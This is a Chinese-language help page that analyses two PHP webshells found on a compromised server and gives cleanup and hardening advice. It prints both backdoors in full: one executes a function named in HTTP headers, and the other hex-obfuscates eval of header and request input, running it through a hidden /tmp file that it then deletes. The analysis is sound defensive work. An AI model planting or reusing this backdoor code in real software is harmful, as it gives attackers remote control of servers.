You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

服务器可疑PHP文件求助:含getallheaders的恶意代码解读

分析服务器中被植入的可疑PHP代码

这两段都是典型的PHP网页后门(webshell),黑客用来远程控制你的服务器,下面分别拆解:

第一段代码分析

<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['Large-Allocation'])) {
    $dbx_convert = $_HEADERS['Large-Allocation']('', $_HEADERS['Sec-Websocket-Accept']($_HEADERS['X-Dns-Prefetch-Control']));
    $dbx_convert();
}
  • 这段完全依赖HTTP请求头执行恶意逻辑:
    1. getallheaders()获取所有HTTP请求头并存储
    2. 检查请求是否携带Large-Allocation自定义头——这个头的值会被当作可调用函数使用(比如黑客可将其设为create_function或eval)
    3. 后续的$_HEADERS['Sec-Websocket-Accept']($_HEADERS['X-Dns-Prefetch-Control'])是函数参数,同样由黑客通过HTTP头构造,本质是让黑客能传入任意代码,最终通过$dbx_convert()执行。

第二段代码分析

<?php
$_HEADERS = getallheaders();
if (isset($_HEADERS['If-Unmodified-Since'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x48E\x41\x44E\x52\x53[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]\x29\x3b@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x43l\x65\x61r\x2d\x53i\x74\x65-\x44\x61t\x61\x22]>
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}
  • 这段用十六进制转义字符隐藏恶意代码,将$c解码后实际内容为:
    <?php @eval($_HEADERS["Clear-Site-Data"]);@eval($_REQUEST["Clear-Site-Data"]);
    
  • 执行流程:
    1. 检查请求是否携带If-Unmodified-Since头,用来触发后门逻辑
    2. 把解码后的恶意代码写入/tmp/.{时间戳}临时文件(文件名带点是为了隐蔽)
    3. 通过include($f)执行代码——黑客可通过Clear-Site-Data请求头或POST/GET参数传入任意PHP代码执行
    4. 执行完成立刻用unlink($f)删除临时文件,这就是你在/tmp中找不到对应文件的原因。

后续处理建议

  • 立即删除这两个可疑PHP文件,同时全盘扫描服务器,查找其他可能被植入的webshell(比如文件名异常的.php文件、被篡改的正常PHP文件)
  • 排查服务器漏洞:检查PHP版本是否存在已知漏洞、服务器登录密码是否过于简单、是否有未授权访问的后台/接口、是否安装了恶意插件或脚本
  • 加固PHP配置:在php.ini中禁用eval、create_function、exec等危险函数,限制/tmp目录的写入权限,开启open_basedir限制PHP文件访问范围
  • 检查服务器访问日志,定位异常请求的IP地址并封禁

内容的提问来源于stack exchange,提问作者Manisha

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.24 01:58:14